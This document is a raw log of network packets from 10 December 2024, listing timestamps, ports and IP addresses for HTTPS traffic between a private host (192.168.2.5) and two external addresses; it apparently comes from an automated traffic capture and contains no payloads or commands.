Dec 10, 2024 07:35:17.118674994 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.118697882 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.118741035 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.122901917 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.122930050 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.122992992 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.123018026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.123075008 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.128012896 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.128041983 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.128104925 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.128137112 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.128190041 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.132566929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.132596970 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.132675886 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.132700920 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.132736921 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.191911936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.191942930 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.192066908 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.192094088 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.192138910 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.196794987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.196816921 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.196907043 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.196930885 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.196989059 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.300827026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.300854921 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.300982952 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.301016092 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.301057100 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.305793047 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.305813074 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.305921078 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.305928946 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.305969000 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.310723066 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.310751915 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.310842037 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.310847998 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.310890913 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.315730095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.315757036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.315843105 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.315850973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.315895081 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.320195913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.320233107 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.320327997 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.320333004 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.320374012 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.324738979 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.324764967 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.324855089 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.324860096 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.324901104 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.384134054 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.384156942 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.384265900 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.384303093 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.384341955 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.388976097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.388998985 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.389077902 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.389111996 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.389163971 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.435894966 CET	443	49724	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:17.435992002 CET	443	49724	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:17.436060905 CET	443	49724	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:17.436079979 CET	49724	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:17.436132908 CET	49724	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:17.438855886 CET	49724	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:17.438874006 CET	443	49724	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:17.493621111 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.493659019 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.493783951 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.493815899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.493858099 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.498039007 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.498064995 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.498116016 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.498142004 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.498159885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.498369932 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.502937078 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.502968073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.503021002 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.503042936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.503067017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.503089905 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.507894039 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.507915020 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.507963896 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.507989883 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.508027077 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.511775017 CET	49731	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.511878014 CET	443	49731	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.511996984 CET	49731	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.512320995 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.512337923 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.512403011 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.512427092 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.512468100 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.513039112 CET	49731	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.513091087 CET	443	49731	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.517599106 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.517622948 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.517700911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.517725945 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.517771006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.576283932 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.576323986 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.576437950 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.576472998 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.576517105 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.581204891 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.581233978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.581327915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.581335068 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.581377029 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.686146975 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.686182022 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.686223030 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.686254025 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.686283112 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.686295033 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.690295935 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.690327883 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.690368891 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.690393925 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.690418005 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.690445900 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.695148945 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.695178032 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.695224047 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.695247889 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.695271969 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.695291042 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.700159073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.700186014 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.700253010 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.700278997 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.700297117 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.700325966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.704574108 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.704607010 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.704649925 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.704675913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.704700947 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.704720020 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.709211111 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.709264994 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.709316969 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.709342003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.709358931 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.754060030 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.768477917 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.768496037 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.768533945 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.768553972 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.768554926 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.768575907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.768596888 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.768614054 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.772814989 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.772844076 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.772883892 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.772891045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.772928953 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.877717018 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.877748966 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.877819061 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.877857924 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.877907991 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.882426977 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.882457018 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.882502079 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.882529020 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.882555962 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.882574081 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.886806965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.886836052 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.886878967 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.886907101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.886931896 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.886954069 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.891803980 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.891832113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.891876936 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.891908884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.891928911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.891953945 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.896684885 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.896712065 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.896796942 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.896825075 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.896868944 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.901554108 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.901581049 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.901642084 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.901664972 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.901700020 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.901716948 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.960549116 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.960577011 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.960656881 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.960689068 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.960727930 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.964996099 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.965022087 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.965095043 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:17.965118885 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:17.965162992 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.070054054 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.070091963 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.070143938 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.070172071 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.070200920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.070219040 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.074465036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.074492931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.074536085 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.074558020 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.074587107 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.074603081 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.079332113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.079358101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.079400063 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.079416037 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.079442024 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.079456091 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.084357023 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.084388018 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.084494114 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.084516048 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.084552050 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.088749886 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.088783026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.088819981 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.088840961 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.088876963 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.088895082 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.094013929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.094041109 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.094105005 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.094130993 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.094172001 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.152834892 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.152859926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.152937889 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.152968884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.153017044 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.157753944 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.157793999 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.157840967 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.157866955 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.157891035 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.157911062 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.227613926 CET	443	49728	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:18.228347063 CET	49728	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:18.229818106 CET	49728	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:18.229887009 CET	443	49728	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:18.229991913 CET	49728	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:18.262222052 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.262257099 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.262408018 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.262435913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.262505054 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.267153978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.267184973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.267247915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.267275095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.267307043 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.267326117 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.272124052 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.272155046 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.272241116 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.272274017 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.272320986 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.276552916 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.276576996 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.276618958 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.276657104 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.276675940 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.276694059 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.281999111 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.282025099 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.282126904 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.282157898 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.282202959 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.286169052 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.286191940 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.286241055 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.286273003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.286290884 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.286319017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.344788074 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.344815016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.344933987 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.344964981 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.345015049 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.350085020 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.350137949 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.350181103 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.350210905 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.350227118 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.350255966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.454806089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.454834938 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.454906940 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.454933882 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.454967976 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.454986095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.459611893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.459635973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.459722996 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.459747076 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.459789991 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.464524984 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.464545965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.464607000 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.464632988 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.464680910 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.464710951 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.468874931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.468894005 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.468954086 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.468980074 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.469012022 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.469033957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.473798990 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.473824024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.473876953 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.473900080 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.473954916 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.473968029 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:18.478473902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:18.478492022 CET	443	49720	185.199.109.133	192.168.2.5
